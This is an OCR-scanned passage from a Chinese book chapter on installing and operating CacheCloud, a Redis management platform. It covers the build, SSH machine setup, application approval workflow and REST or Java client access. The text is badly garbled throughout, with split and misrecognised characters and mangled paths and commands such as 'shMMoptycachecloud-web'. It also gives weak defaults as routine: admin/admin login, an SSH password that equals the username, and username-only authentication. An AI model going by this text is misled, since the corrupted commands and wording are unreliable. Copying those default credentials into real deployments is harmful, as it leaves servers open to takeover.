用 该 版 本 ， 同 时 在 搜狐 视频 不 存在 内 部 版 本 的 CacheCloud， 都 是 使 用 GitHub 
的 版 本 ， 保 证 项 目 持续 更 新 。 


CacheCloud 目 录 结 构 如 下 : 


cachecloud: 根 目录 





cachecloud-open-client: cacheclougd 客 户 端 相关 
cachecloud-jedis: cachecloud-web 用 到 jedis 
cachecloud-open-client-basic: cacheclougd 客 户 端 基础 包 
cachecloud-open-client-redis: cachecloud 客 户 端 
cachecloud-open-jedis-stat: cachecloud 客 户 端 上 报 统计 
cachecloud-open-common: cacheclougd 通 用 模块 
cachecloud-open-web: cachecloud 服 务 模块 
SCript: 启动 和 闭关 项 目 脚本 、 数 据 库 Schema 等 
pom.xml: Maven 配 置 




































































i 


797 


2. 初 始 化 数据 库 


在 MySQL 中 创建 数据 库 cache _ cloud CUTF-8 编 码 ) ， 将 
cachecloud/script/cachecloud.sql 文 件 导 入 到 MySQL， 它 是 Cachecloud 的 表 结 
构 。 


3.CacheCloud 项 目 配 置 


CacheCloud 项 目 中 的 online.properties 文 件 (cachecloud-open- 
web/src/main/swap 目 录 下 ) 中 包含 了 MySQL 的 配置 信息 以 及 CacheCloud 项 目 
的 局 动 端口 CacheCloud 可 以 看 作 古 一 个 Web 项 目 ) ， 如 表 13-1 所 示 。 


表 13-1 CacheCloud 最 简 配 置 





属性 名 默 认 
MySQL 驱动 URL， 其 中 cache | . 
cachecloud.db.url mee de jdbc:mysql://127.0.0.1:3306/cache cloud 
cloud 为 数据 库 名 
cachecloud.db.user mysql 为 用 户 名 cachecloud 


cachecloud.db.password| mysql 为 密码 XXXXXX 





web .port Tomcat 启动 端口 8585 





上 述 配 置 只 是 CacheCloud 的 最 简 配 置 ， 当 项 目 启 动 后 可 以 在 后 台 设 置 更 
多 的 参数 ， 后 面 会 进行 介绍 。 








4. 启 动 CacheCloud 系 统 


(1) 构建 项 目 





在 项 目的 根 目录 下 运行 如 下 Maven 命 令 ， 该 命令 会 进行 项 目的 构建 : 





mvn clean compile install -Ponline 








(2) 启动 项 目 
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如 果 只 是 想 调试 或 者 使 用 开发 工具 〈 例 如 Eclipse) 测试 一 下 
CacheCloud， 可 以 在 项 目的 cachecloud-open-web 模 块 下 运行 如 下 命令 ， 启 动 
CacheCloud: 





mvn spring-boot:run 





如 果 想 在 Linux 上 使 用 生产 环境 部 署 CacheCloud， 执 行 deploysh 脚 本 
Ccachecloud/script 目 录 下 ) 。 


例如 当前 cachecloud 根 目录 在 /data 下 ， 执 行 如 下 操作 即 可 : 





sh deploy.sh /data 





deploysh 脚 本 会 将 编译 后 的 CacheCloud 工 程 包 、 配 置 、 启 动 脚本 拷贝 
到 /optVcachecloud-web 目 录 下 。 


当 一 切 准 备 好 之 后 ， 可 以 执行 shMMoptycachecloud-web/start.sh 来 局 动 
CacheCloud: 





sh /opt/cachecloud-web/start.sh 





局 动 后 可 以 执行 如 下 操作 观察 局 动 日 志 : 





tail -f /opt/cachecloud-web/logs/cachecloud-web.1log 





(3) 登录 确认 


Cachecloud 启 动 成 功 后 ， 访 问 http://127.0.0.1: 8585/， 如 果 出 现 如 图 13-2 
的 登录 界面 说 明 启 动 成 功 ， 使 用 默认 用 户 名 admin、 密 码 admin 登 录 系 统 即 
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cachecloud 





新 用 户 注 册 


图 13-2”CacheCloud 登 录 界 面 


,SP 





CacheCloud 启 动 常 见 错 误解 决 方法 可 以 参考 http://cachecloud.github.io。 
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13.3 ”机 器 部 署 


CacheCloud 使 用 SSH (secure shell) 协议 与 Redis 所 在 的 机 器 进行 交互 来 
完成 实例 部 署 等 工作 。 为 此 需要 在 Redis 所 在 的 机 器 添加 相应 的 SSH 用 户 名 
和 密码 ， 从 而 让 CacheCloud 能 与 之 交互 ， 同 时 机 器 还 要 在 指定 的 目录 下 安装 
Redis， 从 而 让 CacheCloud 了 解 Redis 的 相应 安装 目录 ， 实 现 对 Redis 日 志 、 持 
久 化 数据 、 配 置 文件 的 集中 管理 ， 有 了 这 些 ，CacheCloud 才 可 以 正常 地 对 机 
器 和 Redis 进 行 管理 和 运 维 ， 整 个 过 程 如 图 13-3 所 示 。 





图 13-3 ”CacheCloud 管 理 机 器 和 Redis 节 点 
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13.3.1 ”部署 脚本 


1. 脚 本 说 明 


CacheCloud 项 目 中 的 cachecloud-init.sh 《cachecloud/script 目 录 下 )〉 脚本 
是 用 来 初始 化 服务 器 的 CacheCloud 环 境 ， 主 要 工作 如 下 : 


1) 创建 SSH 用 户 。 


2) 创建 CacheCloud 相 关 目 录 : 





Redis 数 据 目录 : /opt/cachecloud/data 
Redjis 配 置 目录 : /opt/cachecloud/conf 
Redis 日 志 目 录 : /opt/cachecloud/logs 
Redis 安 装 目录 : /opt/cachecloud/redis 








目录 的 用 户 和 用 户 组 设置 为 SSH 用 户 。 

3) 安装 最 新 的 release 版 本 的 Redis。 

Os 

CacheCloud 默 认 使 用 Redis3.0 以 上 版 本 ， 如 需 蔡 换 可 以 修改 脚本 中 相应 
代码 。 


CacheCloud 默 认 会 安装 在 /opt 目 录 下 ， 如 果 /opt 便 盘 空 间 较 小 ， 可 以 修 
改 脚 本 中 相应 代码 ， 同 时 需要 在 后 台 系 统 配置 管理 修改 cachecloud 根 目录 ， 
后 面 介 绍 。 





.SSH 是 CacheCloud 通 信 的 重要 基础 ， 如 果 企 业 基 于 安全 考虑 禁用 SSH， 
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可 以 考虑 其 他 安全 模式 《例如 公 钥 ， 需 要 自行 修改 源码 ，CacheCloud 未 来 也 
会 考虑 文 持 这 种 实现 方式 ) ， 实 际 运行 中 这 种 模式 在 内 网 使 用 是 比较 安全 
的 。 





2. 执 行 脚本 





执行 脚本 非常 简单 ， 只 需要 在 root 用 户 下 执行 如 下 即 可 ，{fssh_ name} 是 
用 户 名 。 





sh cachecloud-init.sh {ssh name} 








执行 之 后 需要 输入 SSH 用 户 密码 ， 然 后 自动 执行 前 面 “脚本 说 明 ”* 中 的 步 
又 ， 整 个 过 程 完 成 之 后 ， 可 以 通过 redis-cli-v 来 验证 Redis 是 否 已 经 安装 成 
了 





# redis-cli -v 
redlis=el1i 3;0;7 





803 


13.3.2 ”添加 机 器 


1. 修 改 机 器 相关 的 系统 配置 


在 CacheCloud 里 添加 机 器 之 前 ， 首 先 要 确认 机 器 相关 的 系统 配置 是 否 
确 。 管 理 员 登 录 后 ， 点 击 右 上 角 〈 带 自己 中 文 名 ) 下 拉 菜 单 ， 可 以 看 到 如 图 
13-4 所 示 的 几 个 链接 。 





管理 后 合 


导入 应 用 
迁移 数据 工具 


应 用 列表 
应 用 申请 


We 
注销 





图 13-4 ”CacheCloud 管 理 后 台 链 接 


下 拉 沫 单 包含 几 个 链接 ， 后 文中 也 会 使 用 这 些 功 能 ， 不 同 的 用 户 角色 看 
到 的 链接 不 尽 相 同 : 


管理 员 角 色 可 用 的 功能 : 管理 后 台 、 导 入 应 用 、 迁 移 数据 工具 、 应 用 
列表 、 应 用 申请 。 








.普通 用 户 功能 ;应 用 列表 、 应 用 申请 。 


单 击 “ 管 理 后 台 ” 链 接 进 入 系统 配置 管理 功能 ， 可 以 看 到 机 器 相关 的 配 


804 


置 ， 如 图 13-$ 所 示 。 


Cache 
全 局 统计 
配置 收 改 
流程 审批 


》 用 户 管理 





Quartz 管 理 ssh 用 户 名 { 革 : | cachecloud 











ssh 密 码 (*): cachecloud 








Ssh 端 口 ( 区 : 








cachecloudiR 目 录 ( 疏 ): 








Redis 配 置 模板 管理 admin 用 户 名 (| admin 





9 系统 配置 管理 














admin 密 码 (Y: | | cc_hello123_admin 


图 13-5”CacheCloud 系 统 配 置 管理 


可 以 看 到 和 机 器 相关 的 配置 有 四 个 : 


1) ssh 用 户 名 


2) ssh 密 码 


3 ) ssh 端 口 


4) cachecloud 根 目录 


请 将 配置 1) 、2) 、4) 与 13.3.1 节 初始 化 脚本 时 保持 一 致 ，ssh 端 口 以 
实际 环境 为 准 〈 默 认 是 22) 。 如 果 Cache Cloud 和 机 器 设置 得 不 一 致 ， 将 导 
致 CacheCloud 无 法 与 机 器 进行 通信 ， 无 法 完成 Redis 的 目 动 部 车 。 如 图 13-5 所 
示 ， 本 次 初始 化 机 器 使 用 了 如 下 参数 : 


.ssh 用 户 名 为 cachecloud。 


ssh 密码 为 cachecloud。 
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.SSsh 端 口 为 22。 
“Cachecloud 根 目录 为 /opt。 
2. 添 加 配置 


修改 过 机 器 相关 系统 配置 之 后 ， 需 要 进入 机 器 管理 界面 将 Redis 的 机 器 
添加 到 CacheCloud 中 进行 管理 和 监控 ， 添 加 机 器 是 CacheCloud 进 行 Redis 的 自 
动 化 部 署 和 运 维 的 基础 。 进 入 后 台 机 器 管理 按照 如 图 13-6 所 示 添 加 机 器 即 
可 。 


10.10.xxX.190 
机 房 : | | 北京 电信 


内 存 (单位 G) : 24 








cpu: | 16 





是 否 虚 机 : 否 


宿主 机 ip 〈 虚 机 | | 宿主 机 ip ( 虚 机 需要 填写 ) 


需要 填写 ) : 


机 器 类 型 。 | | Redis 机 器 (默认 ) $ 





额外 说 明 ; | | 额外 说 明 (可 以 不 境 ) | 





状态 收集 | | 开启 | 
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图 13-6 ”CacheCloud 添 加 机 器 
7 


添加 机 器 信息 有 助 于 管理 员 在 部 署 Redis 时 分 配 机 器 ， 例 如 有 些 机 器 是 
虚拟 机 或 者 容器 ， 需 要 填写 宿主 机 (物理 机 〉 的 信息 。 添 加 的 内 存 和 CPU 只 
是 参考 依据 ， 实 际 上 CacheCloud 会 自己 进行 收集 。 














3. 机 器 信 息 收 集 


机 器 添加 后 ，CacheCloud 后 台 会 启动 一 个 内 部 的 定时 任务 ， 通 过 SSH 连 
接 到 机 器 上 进行 相关 数据 的 收集 。 如 果 正 常 ， 一 分 钟 之 后 就 可 以 看 到 如 图 
13-7 的 机 器 统计 信息 。 


ip 和 ”内存 使 用 率 $ | 已 分 配 内 存 ”CPU 使 用 率 旬 网 络 流量 | 机 器 负 吉 最 后 统计 时 间 多 是 否 虚 机 





10.10.xx.190 国 44c Used/ 23.47G Total 0.00G Used/ 23.47G Total | 0.1 0.00M 0.00 | 2016-09-22 23:40 百 





图 13-7 机 器 信息 收集 
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13.4 接 入 应 用 


为 CacheCloud 添 加 机 器 资源 后 ， 可 以 利用 上 自动 化 部 署 功 能 部 署 Redis 心 
用 ， 这 是 目 动 化 部 署 Redis 的 基础 。 本 闻 将 利用 CacheCloud 目 动 化 部 署 一 个 
应 用 ， 并 介绍 开发 人 员 如 何 通 过 CacheCloud 客 户 端 实现 对 Redis 的 使 用 。 


Os 


在 CacheCloud 中 ，Redis Standalone、Redis Sentinel、Redis Cluster 统 一 称 
为 应 用 ， 后 面 读者 将 看 到 开发 者 只 需要 一 个 应 用 id， 束 可 以 实现 Redis 节 点 
的 获取 ， 完 成 客户 端的 正 篆 调用 。 
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13.4.1 总体 流程 


CacheCloud 的 应 用 开通 和 客户 端 接 入 的 总 体 流 程 ， 参 见 图 13-8。 





图 13-8 ”使 用 CacheCloud 的 总 体 流 程 


具体 包含 如 下 流程 : 
1) 申请 账户 : 普通 用 户 在 CacheCloud 进 行 用 户 注册 ， 待 管理 员 审 核 
后 ， 成 为 CacheCloud 的 用 户 。 


2) 创建 应 用 : 普通 用 户 填 写 申 请 应 用 的 工 单 ， 待 管理 员 审 核 后 ， 拥 有 
自己 的 应 用 。 





3) 接 入 应 用 : 在 自己 的 项 目 中 使 用 CacheCloud 的 客户 端 接 入 代码 进行 
开发 ， 之 后 就 可 以 使 用 CacheCloud 提 供 的 各 种 功能 
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13.4.2 ”账户 申请 和 审批 


CacheCloud 用 户 注册 和 审核 步骤 如 下 : 
1) 进入 CacheCloud 首 页 ， 单 击 “ 注 册 ”。 


2) 填写 用 户 申 请 的 表单 ， 如 图 13-9 所 示 。 








图 13-9 CacheCloud 用 户 注册 工 单 


3) 管理 员 进 入 后 台 审 批 通过 或 驳回 即 可 ， 如 图 13-10 所 示 。 


审核 状态 :| 待 处 理 列表 $ i 


applD ^| 应 用 名 4 | 申请 人 4 | 审核 状态 | 申请 类 型 。 《| 申请 描述 | 申请 时 间 9 | 操作 





| carlosfu | 待 审 注册 用 户 申请 | 卡 洛斯 申请 成 为 Cachecloud 用 户 ,手机 :138xxxxxoo00 邮 箱 :Carlosfu@sohu.com | 2016-10-22 10:04:27 | [通过 ] [ 鹃 回 ] 


图 13-10 ”审批 用 户 


除 此 之 外 ， 管 理 员 还 可 以 进入 用 户 管理 界面 管理 CacheCloud 用 户 。 


四 se 
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CacheCloud 中 ， 用 户 登 录 只 验证 用 户 名 是 否 正 确 (是否 注 册 并 审批 通 
过 ) ， 如 果 需 要 使 用 密码 功能 ， 管 理 员 需 要 在 系统 配置 管理 中 添加 LDAP 的 
登录 地 址 ， 具 体 参 考 13.6.6 节 。 
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13.4.3 ”应 用 申请 和 审批 


1) 点 击 “ 应 用 申请 ”按钮 ， 弹 出 “应 用 申请 ”界面 ， 如 图 13-11 所 示 ， 按 要 
求 填写 应 用 需求 ， 提 区 申请 即 可 。 
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应 用 名 称 (| rankngoomme | 


应 用 描述 人 9; ranking 排 行 榜 系 统 








应 用 描述 〈 必 填 ， 不 超过 128 个 字符 ， 可 以 包含 中 文 ) 


存储 种 类 : Redis-cluster 





内 存 总 量 的 
例如 填写 : 512M,1G,2G..32G 等 


项 目 负责 人 付 : 





测试 








后 端 是 否 有 数据 源 : 
是 否 需要 持久 化 : 
是 否 需 要 热 备 : 





预 估 QPS(*): 





预 估 条 目 数量 :(): 
客户 端 机 房 : 付 : 


内 存 报警 闹 值 (): 。 | 80 


例如 内 存 使 用 率 超过 90% 就 报警 ， 请 填写 90( 如 果 不 需要 
报警 请 填写 100 以 上 的 数字 ) 














客户 端 连接 数 报警 阔 值 oj: 。 | 2000 
例如 :如 果 想 客户 端 连 接 数 率 超过 2000 报 警 ， 填 写 2000 





图 13-11 ”应 用 申请 表单 


其 中 比较 重要 的 属性 用 表 13-2 进 行 说 明 。 
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表 13-2 ”申请 应 用 表单 说 明 


属 性 说 明 
存储 种 类 分 为 Redis Standalone 、Redis Sentinel 、Redis Cluster 三 种 
内 存 总 量 代表 申请 总 量 ， 实 际 容量 以 CacheCloud 管理 员 实际 分 配 为 准 
测试 代表 当前 应 用 是 否 为 测试 ， 如 果 为 测试 ， 可 能 CacheCloud 管理 员 会 适当 分 配 一 些 比 

较 差 的 机 器 
( 续 ) 

属 性 说 。 明 
是 否 有 后 端 数 据 源 RN 表 应 用 方 是 否 拿 Redis 做 为 存储 使 用 
是 否 需 要 持久 化 表 应 用 方 是 否 需 要 使 用 持久 化 功能 
是 否 需 要 热 备 表 应 用 方 申 请 的 Redis 是 否 需要 从 节点 


na t 表 应 用 方 的 并 发 量 (实际 填写 OPS)， 如 果 并 发 量 比较 大 ，CacheCloud 管理 员 在 分 
| 





配 机 器 时 会 适当 考虑 使 用 更 好 的 机 器 

硕 信条 目 数量 人 表 应 用 方 预 估 key 的 个 数 

客户 端 机 房 人 表 应 用 方 所 在 机 房 ， 可 以 是 多 个 

内 存 报警 问 值 人 表 应 用 方 希望 当 应 用 和 每 个 Redis 节点 的 内 存 使 用 超过 百 分 之 多 少时 会 进行 报警 
客户 端 连 接 数 报警 阅 值 | 代表 应 用 方 希 望 当 应 用 和 每 个 Redis 节点 的 连接 数 超过 多 少时 会 进行 报警 


四 se 


上 述 选项 会 作为 CacheCloud 部 普 应 用 的 参考 依据 ， 申 请 人 要 结合 目 身 业 
务 填 写 或 者 与 管理 员 沟 通 ， 人 否则 会 造成 应 用 部 嗜 不 合理 的 情况 。 











2) 邮件 通知 给 当前 用 户 和 管理 员 。 


3) 管理 员 进 入 后 合 的 流程 审批 页 面 ， 如 图 13-12 所 示 ， 单 击 “ 审 批 处 
理 ” 按 钮 。 


@ 审批 列表 


审核 状态 : ( 待 处 理 列表 。”] 


applD ^| 应 用 名 4 | 申请 人 审核 状态 $ | 申请 描述 | 申请 时 间 | 操作 4| 

















10001 ranking-online leifu 待 审 类 型 :redis-cluster; 初 始 申 请 空间 :5G | 2016-10-22 10:14:34 | [ 驶 回 ] [审批 处 理 ] 





Showing 1 to 1 of 1 entries 





图 13-12 ”应 用 审批 
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4) 不 同类 型 的 Redis， 开 通 使 用 不 同 的 格式 : 
.数据 节点 : masterIp: maxmemory〔( 以 MB 为 单位 ) : slaveIp。 
“Sentinel 节 点 : sentinelIp。 


图 13-13 部 署 了 一 个 5 主 5 从 的 Redis Cluster 和 集群， 每 个 分 片 为 1024MB， 
格式 检查 通过 后 即 可 一 键 部 团 Redis Cluster 集 群 。 


© nn 


部 团 Redis 时 要 综合 考虑 用 户 提 交 关 于 客户 端的 基本 信息 : OPS、 容 
机 房 、 持 久 化 等 信息 ， 决 定 采 用 哪 种 类 型 机 器 部 团 Redis 实 例 。 


了 


5) 如 果 部 署 成 功 ， 页 面 会 跳 回 审 批 页 面 ， 如 果 审 核 状 态 显 示 审 核 已 处 
理 〈 如 图 13-14) ， 单 击 “ 通 过 ”后 ， 一 个 Redis Cluster 自 动 部 署 完 毕 。 
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部 署 详情 :(*): 10.10.xx.1:1024:10.10.xx.2 
10.10.xx.3:1024:10.10.xx.4 
10.10.xx.5:1024:10.10.xx.6 
10.10.xx.7:1024:10,10.xx.8 
10.10.xx.9:1024:10.10.xx.10 


具体 规则 如 下 : 
1. standalone 类 型 : 
masterlp:memsize(M}( 例 如 : 10.10.0.xxX:2048) 


2. sentinel 类 型 : 
masterlp:memSize(M):slavelp 
sentinellp1 
sentinellp2 
sentinellp3 

3. cluster 类 型 : 
masterlp1:memsize(M):Slavelp1 
masterlp2:memSize(M):slavelp2 
masterlp3:memsSize(M):slavelp3 


图 13-13 “部署 详情 





Ej! ES 





审核 状态 :| 待 处 理 列表 。“ 
大 


appID 人 | 应 用 名 申请 人 多 | 审核 状态 多 | 申请 类 型 多， 申请 描述 艰 | 申请 时 间 多 | 操作 $ 





10001 ranking-online | leifu 审批 已 通过 | 应 用 申请 类型 rediscdluster 初 始 申请 空间 :5G 2016-10-22 10:14:34 


Showing 1 to 1 of 1 entries < [于 | > 


图 13-14 ”应 用 审批 通过 























实际 上 上 面 的 自动 化 部 署 和 10.2 节 使 用 redis-cli 部 署 Redis Cluster 的 原理 
是 一 样 的 ， 都 是 利用 了 Redis Cluster 的 相关 协议 完成 的 ， 如 图 13-15 所 示 。 
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| 1) 局 动 所 有 Redis 节点 | 
| 2) 所 有 节点 meet | 


| 4) 从 砷 点 腥 制 绎 刷 点 | 


NI 


0) i 应 用 es 系 ， 开 
统计 、 化 审批 流程 


图 13-1$ CacheCloud 自 动 化 部 署 流程 


整个 过 程 如 下 : 


1) 利用 配置 模板 生成 配置 、 利 用 SSH 协 议 找 贝 配置 到 机 器 、 利 用 redis- 
server 启 动 Redis 节 点 。 


2) 利用 meet 命 令 对 所 有 节点 执行 握手 。 
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3) 平均 分 配 slot。 





4) 从 节点 复制 主 节 点 。 


5) 等 符 集 群 状态 ok。 





6) 保存 应 用 实例 关系 、 局 动 相关 监控 任务 、 提 交 审 批 流 程 。 


自动 部 署 应 用 时 ， 端 口 是 自 动 生成 的 ， 且 不 会 被 重复 利用 ， 具 体 生 成 规 
则 是 从 6379 端 口 开 始 ， 如 果 出 现下 面 任意 一 种 情况 的 话 ， 当 前 端口 自 增 1， 
直到 最 终 得 到 目标 端口 。 








实例 表 〈instance info 表 ) 中 记录 端口 已 经 被 占用 。 


:机 器 上 端口 已 经 被 占用 。 
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13.4.4 客户 端 接 入 





当 应 用 申请 流程 全 部 完成 后 ， 用 户 申请 的 应 用 状态 会 变 为 运行 中 ， 如 图 
13-16 所 示 ， 可 以 看 到 一 个 id 为 10001 的 应 用 。 点 击 应 用 id (CappId) 或 应 用 
名 ， 即 可 进入 应 用 详情 页 面 。 


应 用 类 型 内 存 详情 命中 率 已 运行 时 间 申请 状态 操作 





ranking-online redis-cluster .01G Used/5.00G Total 1 天 运行 中 


图 13-16 ”用 户 应 用 列表 


在 应 用 详情 界面 点 击 接 入 代码 选项 卡 ， 可 以 看 到 CacheCloud 提 供 了 Rest 
API 和 Java 客 户 端 两 种 接 入 方式 ， 图 13-17 上 所 示 。 
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1, maven 依 赖 


<dependency> 
<groupld>com.sohu.tv</groupld> 
<artifactid>cachecloud-operrclient-redis</artifactld> 
<version>1.0-SNAPSHOT</version> 
</dependency> 


2. 示例 代码 


long appld = 10001; 

/上 默认 poolConfig 

GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig(); 
JedisCluster redisCluster = 
ClientBuilder.setJedisPoolConfig(poolConfig).redisCluster(appld).build(); 
redisCluster.set("key1", "value1"); 

redisCluster,get("key1"); 


1. 无 验证 接口 
http;/Ayour domainWcache/client/redis/cluster/10001.json?clientVersion=1.0-SNAPSHOT 


2, 有 appkey 验 证 接口 
http://A{your domain}/cache/client/redis/cluster/safe/10001.json?clientVersion=1.0- 
SNAPSHOT&appkey=XXXXXXXX 





图 13-17 ”CacheCloud 的 Java 客 户 端 和 RestAPI 





在 说 明 如 何 使 用 这 两 种 客户 端 接 入 方式 之 前 ， 首 先 有 必要 介绍 一 下 
CacheCloud 客 户 端 与 服务 端 是 如 何 交 互 的 ? CacheCloud 服 务 端 不 是 客户 端的 
代理 ， 只 是 提供 了 Rest API 来 实现 通过 一 个 appId 获 取 到 Redis 节 点 信息 ， 客 

户 端 只 有 在 第 一 次 启动 时 会 通过 Rest API 从 CacheCloud 服 务 端 获 取 这 些 信 
息 ， 之 后 无 需 再 与 CacheCloud 交 互 ， 获 取 节 点 信息 后 ， 使 用 各 种 Redis 的 客 
户 端 进行 初始 化 ， 例 如 Jedis、redis-py 等 ， 整 个 过 程 如 图 13-18 所 示 。 





1.REST 接 口 


下 面 为 CacheCloud 的 REST 接 口 ， 开 发 者 可 以 利用 各 种 编程 语言 的 HITP 
类 库 从 接口 中 获取 到 Redis 节 点 信息 
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一 次 启动: 
人 oo 获取 Redis 实 份 
一 一 





CacheCloud 客户 端 
(实际 是 jedis、redis- 


py 等 等 








CacheCloud 服务 端 





2) 返回 结果 
一 





2.1) 夫 败 ， 重 试 一 值 到 成 功 













2.2) 成 功 : 
直接 与 及 Raedlis 化 马 ,直到 下 次 起 
启动 前 系 再 与 CacheCloud 玄 马 ， 


和 - ) 

| | . 

| E 、 
2 De Da 

| | E | 

! | | 

1 Redis Redis Redis | 


图 13-18 ”CacheCloud 服 务 端 与 客户 端 交 互 流程 





http:// ip:port/cache/client/redis/cluster/10001.jsonclientVersion=1.2-SNAPSHOT 
{ 
message: "client is up to date, Cheers!", 
shardNum: 10， ## 节点 个 数 
appId: 10001，# 应 用 id 
status: 1, # ”状态 为 1 表示 数据 正确 
shardinfo: “10.,.10,.%X.1:6379,10,10,. Xx.2:6380 10;10,.%X.3:6379;10,10,.%X...4:6381 
10.10.xx.5:6380,10.10.xx.7:6381 10.10.xx.8:6379,10.10.xx.xx:6381" #¥ 所 有 
节点 信息 。 主 从 节点 用 喜 号 隔 开 ， 多 对 主 从 节点 用 空格 隔 开 。 

































































有 一 点 需要 注意 的 是 clientVersion=1.2-SNAPSHOT 人 参数 ， 它 表示 客户 端 
的 版 本 ， 这 个 参数 会 传 到 服务 端 做 校 验 ， 错 误 的 版 本 将 无 法 获取 到 接口 信 
息 ， 如 图 13-19 所 示 。 
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clientVersion 三 1.0-SNAPSHOT 


py 一 2 > > )》 se _ _。 
CacheCloud 客户 阁 段 示 正确 : Resis 节点 信息 CacheCloud 服务 端 
版 地 错误 : 错误 信息 
A 6 
1.1 








图 13-19 CacheCloud 客 户 端 与 服务 端 进行 版 本 校 验 


管理 员 可 以 在 后 台 的 系统 配置 管理 中 ， 添 加 目前 可 以 使 用 的 客户 端 版 
本 ， 如 图 13-20 所 示 。 


可 用 客户 端 版 本 : 1.1,1.2-SNAPSHOT,1.3-SNAPSHOT 


警告 客户 端 版 本 : 





不 可 用 客户 端 版 本 : ”| 1.0-SNAPSHOT 





图 13-20 CacheCloud 后 台 设 置 可 用 客户 端 版 本 


REST 接 口 存在 安全 性 问题 ， 任 意 用 户 通过 应 用 id 都 可 以 获取 Redis 节 点 
信息 。 如 果 和 希望 更 加 安全 ， 需 要 一 个 秘 钥 在 CacheCloud 服 务 端 进行 验证 。 这 
个 秘 钥 在 应 用 申请 成 功 后 就 会 自动 生成 ， 并 且 展 示 到 了 应 用 详情 页 面 (13.5 
节 会 介绍 ) 。 新 的 接口 添加 了 两 处 改动 : 


-参数 增加 了 一 个 appkey。 


.接口 地 址 添加 了 一 个 Safe 路 径 。 
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所 以 如 原 接口 为 : 





http:// ip:port/cache/client/redis/cluster/10001.jsonclientVersion=1.2-SNAPSHOT 





那么 新 接口 为 : 





http:// ip:port/cache/client/redis/cluster/safe/10001.jsonclientVersion=1.2- 
SNAPSHOT&appkey=xxxxx 
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CacheCloud 服 务 端 为 了 兼容 老 的 客户 端 ， 保 留 了 两 套 接口 ， 如 果 有 需要 
可 以 自行 修改 。 








2.Java 客 户 端 


CacheCloud 为 Java 开 发 者 提供 了 封装 好 的 客户 端 ， 基 本 实现 原理 也 是 调 
用 之 前 的 REST 接 口 ， 解 析 并 初始 化 Jedis 相 关 API， 如 JedisPool、 


JedisSentinelPool 、JedisCluster。 





CacheCloud 项 目 中 的 cachecloud-open-client 模 块 是 客户 端 模块 ， 由 以 下 
子 模块 组 成 : 


cachecloud-jedis: cachecloud-web 用 到 的 Jedis。 





:cachecloud-open-client-basic: CacheCloud 客 户 端 基础 模块 。 
cachecloud-open-client-redis: CacheCloud 客 户 端 。 


.cachecloud-open-jedis-stat: CacheCloud 客 户 端 上 报 统计 。 
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用 户 需 要 修改 cachecloud-open-client-basic 模 块 中 
cacheCloudClient.properties 的 domain_ url 为 你 的 域名 ， 这 个 域名 是 作为 获取 
REST 接 口 用 ， 之 后 使 用 接 入 代码 中 的 示例 进行 开发 测试 即 可 。 
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13.$ ”用户 功能 


当 客户 端 接 入 应 用 后 ， 开 发 者 希望 看 到 一 些 相关 统计 信息 ， 本 节 将 对 
CacheCloud 中 的 一 些 功能 进行 详细 介绍 ， 如 应 用 统计 信息 、 实 例 列表 、 应 用 


详情 、 命 令 分 析 、 命 令 执行 、 慢 但 询 、 应 用 拓扑 等 。 
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13.5.1 ”应 用 统计 信息 


“应 用 统计 信息 ”选项 卡 ， 如 图 13-21 和 图 13-22 所 示 ， 包 含 如 下 三 
域 ; 





全 局 信息 : 展示 了 应 用 的 全 局 信息 ， 包 括 内 存 使 用 率 、 连 接 数 、 主 从 
节点 数 、 命 中 率 、 对 象 数 、 当 前 状态 及 分 布 的 机 器 节点 数 。 


:命令 统计 ; 展示 了 当前 应 用 执行 最 频繁 的 5 个 命令 的 分 布 情况 。 


统计 报表 : 展示 了 每 分 钟 命令 次 数 、 命 中 次 数 、 网 络 流量 、 客 户 端 连 
接 数 、 内 存 使 用 统计 图 。 


通过 这 些 报 表 ， 开 发 者 可 以 及 时 了 解 当前 Redis 的 使 用 状态 ， 可 以 结合 
目 映 的 业务 及 时 发 现 系 统 瓶 贷 和 定位 问题 。 


申请 修改 配置 





命令 分 布 


hmset:49975026 从 


应 用 主 节 点 数 24 应 用 从 节点 数 expire:56508271 
应 用 命中 率 81.48% 当前 对 象 数 64,505,835 
应 用 当前 状态 。 运行 中 应 用 分 布 机 器 节点 数 。 17 


Irange:188299369 sae 
一 一 get'457455206 


峰值 产生 时 间 


2016-10-22 10:03:29 


2016-10-22 00:18:29 4 
hgetall;303959842 


2016-10-22 00:14:29 
2016-10-22 06:29:29 


2016-10-22 06:29:29 





图 13-21 应 用 全 局 信息 和 命令 统计 
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2,000k 


1,500k 


必 1,000k 





500k 


Ok 2 oct 02:00 04:00 06;00 08:00 10:00 12:00 14:00 16;00 18:00 20:00 22:00 
一 命令 趋势 图 (2016-10-22) 一 命令 趋势 图 (2016-10-21) 


图 13-22 ”应 用 统计 报表 








应 用 统计 信息 页 面 还 提供 了 申请 扩容 、 申 请 修改 配置 两 个 功能 ， 用 户 只 
要 填写 相应 的 表单 即 可 完成 相应 的 工 单 申 请 ， 例 如 图 13-23 申 请 将 AOF 关 
闭 。 有 关 管 理 员 如 何 处 理 ， 将 在 13.6 节 进行 说 明 。 


appendonly 





当前 使 用 场景 不 需要 aof 








图 13-23 ”配置 修改 申请 


827 


13.5.2 ”实例 列表 





实例 列表 选项 卡 展示 该 应 用 下 所 有 的 Redis 节 点 的 基本 信息 : 运行 状 
态 、 内 存 使 用 情况 、 对 象 数 、 连 接 数 、 命 中 率 、 和 碎片 率 、 角 色 等 ， 如 图 13- 
24 所 示 。 通 过 实例 列表 ， 开 发 人 员 可 以 了 解 到 每 个 节 扣 数据、 命中 率 等 关键 
指标 ， 及 时 发 现 有 问题 的 市 反 。 


笠 
册 


实例 对 象 数 角色 





10.10.xx.166:6383 运行 | 2022414 


10.10.XX.179'6385 去 行 ”| 2022413 slave 





10.10.xx.179:6386 运行 2021712 master 


slave 


10.10.xx.98:7497 运 ”| 2021713 





10.10.xoc93:7498 运行 2018634 
10.10.30231:6384 到 2018635 slave 


10.10.xx.95:7499 运行 | | 2019370 master 

















10.10.xx.79:6381 运行 2019370 slave 





图 13-24 ”应 用 实例 列表 


除 此 之 外 ， 单 击 每 个 Redis 节 点 的 ID 还 可 以 进入 每 个 实例 的 监控 界面 ， 
包含 了 实例 统计 信息 、 慢 碍 询 分 析 、 配 置 查 询 《 包 含 了 申请 修改 单个 实例 配 
置 的 功能 ) 、 连 接 信息 、 故 障 报警 、 命 令 曲 线 等 功能 ， 它 的 功能 和 应 用 下 的 
功能 是 类 似 的 ， 这 里 就 不 占用 篇 幅 介 绍 了 ， 有 些 不 同 的 是 实例 信息 都 是 实时 
